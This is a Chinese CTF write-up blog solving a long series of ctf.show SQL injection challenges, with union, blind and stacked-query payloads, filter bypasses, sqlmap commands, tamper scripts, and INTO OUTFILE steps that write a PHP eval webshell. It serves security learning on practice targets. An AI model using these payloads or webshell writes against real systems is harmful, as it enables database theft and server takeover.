前言
记录web的题目wp,慢慢变强,铸剑。
SQL注入
web171
- 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
1 | //拼接sql语句查找指定ID用户 |
- GET传参会自己解码,注释可以用%23(#), –空格,–+等,或者拼接语句不用注释也行
- 判断有3个字段
1 | 1' order by 3--+ |
- 联合查询,查表
1 | 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
- 查字段
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+ |
- 查flag
1 | 1' union select 1,2,password from ctfshow_user --+ |
web172
1 | //检查结果是否有flag |
- 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1 | 1' union select 1,password from ctfshow_user2--+ |
web173
- 和上题一样
1 | 1' union select 1,2,password from ctfshow_user3--+ |
web174
1 | //检查结果是否有flag |
- 过滤了数字,考察replace的运用,先判断有几个字段
1 | 1' order by 2 %23 |
- 联合函数添加a和b两个数据ok
- 先构造一个replace将0-9全部置换
1 | select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ'); |
- 查表构造语句将1-0换成table_name
1 | 1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23 |
- 查字段名
1 | 1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23 |
- 查结果
1 | 1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+ |
- 写个小py来转换一下
1 | import requests |
web175
1 | //检查结果是否有flag |
- 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
1 | #-- coding:UTF-8 -- |
web176
- 发现是对select的过滤,但是没有过滤大小写
- 表
1 | 1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+ |
- 字段
1 | 1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+ |
- 查flag
1 | 1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+ |
- 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
- 查所有数据
1 | 1' or 1=1--+ |
web177
- 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据
查flag
1 | 1'or(1=1)%23 |
- 第二种方法,这次发现还多过滤了空格,我们可以用
%0a
换行符或者注释符绕过(或者%09,%0b,%0c,%0d
都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#
的url编码形式%23
查flag
1 | 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23 |
web178
- 和上题差不多,多办了/**/这个注释符号,也可以万能密码
1'%09or%091=1%23
1 | 1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23 |
web179
- 和上题差不多,过滤了
%09,%0b,%0d
和空格也可以用万能密码1'%0cor%0c1=1%23
1 | 1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23 |
web180
- 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句
payload
1 | 1.1'or(id='26')and'1=1 |
这个拼接之后的语句就是
1 | select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1’ limit 1; |
1 | id='1.1'or(id=26)and'1=1' limit 1; |
web181
- 和上题一样
1 | 1.1'or(id=26)and'a'='a |
web182
- 和上题一样
1 | 1.1'or(id=26)and'a'='a |
web183
1 | //拼接sql语句查找指定ID用户 |
- 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
- post传参
- 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
1 | #-- coding:UTF-8 -- |
web184
- 这把过滤了where,我们用右连接来做
1 | ctfshow% 的十六进制 为 0x63746673686F7725 |
- 所以用他来匹配like,放出了空格
1 | tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725 |
- 写个py来跑flag
1 | #-- coding:UTF-8 -- |
web185
- 这次直接过滤了0-9的所有数字,上个脚本进行改变
这次我们利用true来进行替换数字
1 | select true+true; |
我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字
1 | tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)) |
页面可以正常回显,代码跑起py
1 | #-- coding:UTF-8 -- |
web186
- 和上一题一样
1 | #-- coding:UTF-8 -- |
web187
1 | $username = $_POST['username']; |
- 登陆窗口,看返回逻辑
很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制
网上有一个字符串ffifdyop
很特殊
1 | echo md5("ffifdyop",true); |
web188
1 | $sql = "select pass from ctfshow_user where username = {$username}"; |
可以看到是通过username来列出密码,然后弱比较来进行判断payload
1 | username=0&password=0 |
以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||
运算符
1 | username=1||1&password=0 |
web189
因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload
LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
regexp: mysql中的正则表达式操作符
容易想到默认路径是/var/www/html/api/index.php
,开始写个脚本进行盲注
1 | #-- coding:UTF-8 -- |
web190
经典盲注,脚本跑
1 | #-- coding:UTF-8 -- |
web191
- 和上题一样,过滤了ascii等,不过我写的payload没用
1 | #-- coding:UTF-8 -- |
web192
- 和上题一样,没办=号,我们依旧潇洒
1 | #-- coding:UTF-8 -- |
web193
- 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
1 | #-- coding:UTF-8 -- |
web194
- 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
1 | #-- coding:UTF-8 -- |
web195
1 | //拼接sql语句查找指定ID用户 |
- 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行
payload
1 | 0x61646d696e;update`ctfshow_user`set`pass`=123456 |
接着用0x61646d696e,123456登陆就行
web196
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用
- payload
1 | username:1;select(1) |
web197
1 | //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧 |
这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag
1 | username:520;show tables |
web198
- 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
1 | #-- coding:UTF-8 -- |
web199
- 不变197做法
web200
和上题一样
web201
- 提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3
payload
1 | sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs |
或者 level 3
1 | sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs |
查表
1 | python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables |
查字段
1 | sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns |
查flag
1 | sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'" |
web202
- 就是用–data指定post传参
payload
1 | sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'" |
web203
- 将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单
1 | sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'" |
web204
- 提示传递cookie,抓包拿
1 | sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'" -v 5 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" |
web205
- 要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现
sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token
1 | --safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下 |
payload
1 | sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump |
web206
- 和上题一样做法,就是换了字段名
1 | sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump |
web207
- tamper的初体验,看到过滤了空格
遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下
1 | 举例如下tamper脚本: |
1 | sqlmap.py -u "http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a83c7e70-64d2-4dab-9232-8c5080415bd1.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxca --dump |
根据原本的space2comment仿写了一个,将注释换成了0x09
1 | #!/usr/bin/env python |
web208
1 | //对传入的参数进行了过滤 |
- 只过滤了小写的select,sqlmap自己就会跑大写的
1 | sqlmap.py -u "http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://90811f8e-b2c5-4181-ac8a-2752c4d91c40.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flaxcac --dump |
web209
1 | //对传入的参数进行了过滤 |
多过滤了*号和=号,我们在上面的脚本多加一个匹配=号换like
1 | sqlmap.py -u "http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://e83f1efc-354e-42c0-8c2e-ca9eafd2f81d.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=mycomment -D ctfshow_web -T ctfshow_flav --dump |
1 | #!/usr/bin/env python |
web210
1 | //对查询字符进行解密 |
- 先对字符串进行64解码,然后再反转字符,再套一层,我们写个相反就的行了
1 | #!/usr/bin/env python |
payload
1 | sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my |
web211
- 和上题一样,过滤了空格号,不影响,我上个代码中写了替换空格为0x09也就是制表符
1 | sqlmap.py -u "http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6848c055-1297-4397-8dc0-d2477ea293db.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -D ctfshow_web -T ctfshow_flavia --dump |
web212
- 和上题一样过滤多加了个*不影响我们
payload
1 | sqlmap.py -u "http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://2b123cfd-31cd-465e-b7cb-1e1470122ae4.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my -T ctfshow_web -T ctfshow_flavis --dump |
web213
- 这题需要getshell,因为过滤的和上题一样,就用我那个过滤脚本
1 | #!/usr/bin/env python |
然后接着我们进行getshell上传一个上传点
1 | http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://6309ef18-4721-4f5c-919d-bf47c71c749e.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=my --os-shell |
上传一句话木马,蚁剑连接
在根目录下有flag
web214
- 时间盲注,直接脚本跑
1 | # -- coding:UTF-8 -- |
web215
- 题目提示说加了单引号,我们就闭合掉,改一下上面的代码,继续跑
1 | # -- coding:UTF-8 -- |
web216
1 | where id = from_base64($id); |
- 加了个base64解密,所以我们用“MQ==”–>1 所以就会算是true,这题没单引号,所以改一下上一题代码。
1 | # -- coding:UTF-8 -- |
web217
1 | //屏蔽危险分子 |
- 过滤了sleep,可以换一个函数benchmark(6666666,sha(1))
1 | benchmark(6666666,sha(1)) |
将上一个payload改一下,跑一下就出来了,因为是执行次数来确定延时时间,所以也跟你家网速波动有关系,适当调试,我控制在一个1.4ms到4.9ms,应该能保证普通网速的,如果你网速超快,适当调整
1 | # -- coding:UTF-8 -- |
web218
- 这题过滤了benchmark,不过还有RLIKE REGEXP正则匹配
1 | select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); |
所以我们可以利用这个来进行构造延时函数
1 | concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' |
以上代码预估等于sleep(5)
效果,具体根据网速和性能判断,利用此性质写将上面的代码更改一下,跑flag
1 | # -- coding:UTF-8 -- |
web219
1 | //屏蔽危险分子 |
- 这题吧RLIKE给禁了,我发现把RLIKE换成LIke一样可以,继续上把代码改一下,不过需要注意跟你家网速有关,网速好,一次flag就对,不好就多对比几下
1 | # -- coding:UTF-8 -- |
第二种思路,鉴于我发现我上面的方法,flag需要多跑几次,而且方法重样,所以想多写一个其他的绕过方法,笛卡尔积时间延时法
1 | 笛卡尔积(因为连接表是一个很耗时的操作) |
也就是换个bypass也而已,跑起来,这次成功率提高了很多,基本一次能跑成功
1 | # -- coding:UTF-8 -- |
web220
- 和布尔盲注一样,过滤substr,但是还有正则,或者left都可以,我们这里用正则写一个脚本,因为还过滤了concat所以不能用group_concat改用limit
1 | # -- coding:UTF-8 -- |
web221
- 考点是:MySQL利用procedure analyse()函数优化表结构
limit后面能跟的也只有这个了似乎
1 | # http://196cf3fd-f920-4018-a714-662ad61571e9.chall.ctf.show/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2) |
web222
1 | //分页查询 |
- 不懂group by建议看一下这一篇关于group报错注入https://www.cnblogs.com/02SWD/p/CTF-sql-group_by.html,可以理解一下,因为group by后面只能跟字段和字符串,所以我们构造字符串,利用
concat(sleep(0.10),1)
可以成功执行sleep()函数,我们再利用if来条件判断,就可以实现时间盲注,写一个脚本跑一波
1 | # -- coding:UTF-8 -- |
web223
- 这题多了个过滤,将数字全部过滤了,我们可以考虑用true来代替数字,所以这题我发现有两种方式一种是时间盲注(但是延时是20秒),另一种是布尔盲注,这把我们就用布尔速度快。看你喜好。
说一下原理,为什么使用布尔盲注,当if返回这true的时候,执行username就会group by username,数据就会多一些,但是当false就会当做字符串,数据就少一些,上两张图看看
当if条件为false时,数据回显就少了,根据这个可以布尔盲注
上脚本布尔,跑的快些,比时间盲注
1 | # -- coding:UTF-8 -- |
web224
- 我以为是输入框注入,没想到是文件注入,有一个君子协议里面可以重置密码robots.txt
登陆之后发现是一个上传点,什么都上传不进去,群里有一个payload.bin,上传就自动生成1.php,就直接是rce了,拿flag
web225
第一种做法,handle,因为堆叠注入,除了过滤的语句,基本是任意执行
1 | # 打开一个表名为 tbl_name 的表的句柄 |
payload
1 | http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first--+ |
第二种做法预处理
1 | SET @tn = 'hahaha'; //存储表名 |
因为concat连接之后直接就是字符串,所以就直接构造payload
1 | http://76114b3b-7ffd-4016-8b00-b96feb693fd8.challenge.ctf.show:8080/api/?username=ctfshow';show tables;prepare gylq from concat('s','elect',' * from ctfshow_flagasa');execute gylq;--+ |
web226
- 预处理from后面可以跟十六进制,所以可以有更骚的姿势,直接将
select * from ctfsh_ow_flagas
转换成0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173
就可以直接语句执行
payload
1 | http://bbec116e-8f61-487c-8966-9384be4efe14.challenge.ctf.show:8080/api/?username=userAUTO';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute gylq--+ |
web227
- 搜了个遍,没找到flag,最后发现information_schema.routines这个表是存放函数和存储过程字段的。我们查看一下这个表,关于函数的存储过程,看看网上这篇文章MySQL——查看存储过程和函数
payload,查看routines的所有字段和数据
1 | http://faa7806b-aae1-4405-8c64-1600655bcd26.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;execute gylq; |
可以直接用1';call getflag();
来调用这个函数,不过这个所有字段里已经可以找到flag
web228
- 和web226一样的做法,转十六进制
1 | http://abd0d622-b6b8-48c7-98f3-9a49f3996b1b.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;execute gylq; |
web229
- 和上题一样,估计没招了
1 | http://74ea40ed-fc20-471c-8d2e-05cbd44aadad.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C6167;execute gylq; |
web230
- 堆叠注入的精髓就是预处理和转十六进制么,和上题一样
1 | http://bde7f4f9-1def-42cf-afee-da3025b6550a.challenge.ctf.show:8080/api/?username=user1';prepare gylq from 0x73656C656374202A2066726F6D20666C61676161626278;execute gylq; |
web231
- 我看到第一眼,就想着写个脚本,看了别人wp发现不用写布尔脚本,但是我写了,所以就用脚本梭哈
1 | # -- coding:UTF-8 -- |
- 第二种方式,了解一下性质,学习学习。
1 | $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';"; |
他语句是这样,那我们拼接一下成
1 | update ctfshow_user set pass = '1',username=database()# where username = '{$username}'; #后面就的被注释掉了 |
就有这样的效果
这样不就任意语句执行了。
payload
1 | username=ctfshow&password=1' ,username=database()# |
拿flag
1 | username=ctfshow&password=1' ,username=(select group_concat(flagas) from flaga)# |
web232
- 上把盲注脚本直接梭哈,只不过加了个给密码md5加密而已,并没有改变之前代码的性质,我代码跟用户名有关,所以不变
1 | # -- coding:UTF-8 -- |
注意,用了第一种方法的时候不要用第二种方法,容易打乱代码条件,同样的第二种方法也就是加了个括号paylaod
1 | username=ctfshow&password=12'),username=(database())# |
web233
- 发现连着三题都可以用第一个盲注脚本跑出来,继续梭哈
1 | # -- coding:UTF-8 -- |
web234
- 脚本跑不动了,过滤了单引号,这题考的是\实现单引号逃逸
1 | 原来的语句 |
查表payload
1 | username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=\ |
查字段payload
1 | username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666C6167323361)#&password=\ |
查flag
1 | username=,username=(select group_concat(flagass23s3) from flag23a)#&password=\ |
web235
- 这题过滤了information,ban了or和’,我们只能去找mysql里面的可以查表的表
mysql.innodb_table_stats
但是发现找不到其他里面包含字段的表了。所以只能想到无列名注入
可以参考一下
查表
1 | username=,username=(select group_concat(table_name) from mysql.innodb_table_stats )#&password=\ |
payload查flag
1 | username=,username=(select `2` from (select 1,2,3 union select * from flag23a1)a limit 1,1) #&password=\ |
web236
- 他多过滤了一个flag,一样可以用上一个payload
1 | username=,username=(select `2` from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\ |
我感觉没过滤,如果真过滤了,也可以base64转过去
1 | username=,username=(select to_base64(`2`) from (select 1,2,3 union select * from flaga)a limit 1,1) #&password=\ |
web237
- 经典insert注入
查表
1 | password=gylq&username=gylqtest',(select group_concat(table_name) from information_schema.tables where table_schema=database()));# |
查字段
1 | password=gylq&username=gylqtest',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'));# |
查flag
1 | password=gylq&username=gylqtest',(select flagass23s3 from flag));# |
web238
- 过滤了空格,用括号
查表
1 | password=gylq&username=gylqtest',(select(group_concat(`table_name`))from(information_schema.tables)where`table_schema`=database()))# |
查字段
1 | password=gylq&username=gylqtest',(select(group_concat(`column_name`))from(information_schema.columns)where`table_schema`=database()and`table_name`='flagb'))# |
查flag
1 | password=gylq&username=gylqtest',(select(flag)from(flagb)))# |
web239
- 过滤了information,空格
查表
1 | password=gylq&username=gylqtest',(select(group_concat(table_name))from(mysql.innodb_table_stats)))# |
拼不出来flag,无列名我无能为力
查flag,猜弱flag名称
1 | username=1',(select`flag`from`flagbb`));#&password=1 |
web240
- 这题明显是让我们写个爆破py,安排啊
1 | Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写 |
1 | # -- coding:UTF-8 -- |
跑一下就可以看到结果
web241
- 一开始想快速了解直接写了个布尔盲注,想着有21条数据,直接写了个布尔盲注的代码,结果只能查出flag前几位,由于环境无法插入,所以只能查出表和字段,但是flag拿不全。
这是可以查表和字段的布尔盲注,不过可利用价值不高,只能查出flag一部分,可以学习,注意:这个代码无法查出结果
1 | # -- coding:UTF-8 -- |
实际去环境试了下
1 | delete from users where id=sleep(0.20) |
所以这题应该是时间盲注。好了直接上脚本
1 | # -- coding:UTF-8 -- |
web242
- 到了file模块了,首先我们先了解一下关于file的形式,做这题前,先了解一些预备知识
我们到本地进行测试一下file的功能
首先第一个我们了解一下字段分隔符
1 | FIELDS TERMINATED BY‘,‘字段间分割符 |
利用字段分隔符在本地写一句话木马
可以发现很好的写入成功
我们再学习一个将每一条记录使用换行符
1 | LINES TERMINATED BY‘\n‘ 换行符 |
1 | select * from users into outfile "D:/phpstudy8/WWW/dump/1.txt" LINES TERMINATED BY '<?php eval(REQUEST[1]);?>' |
明显将一句话木马写入
我们看一下题目
1 | //备份表 |
这题明显就有两种做法,我们用分隔符做
payload
1 | filename=7.php' FIELDS TERMINATED BY '<?php eval($_REQUEST[1]);?> ' # |
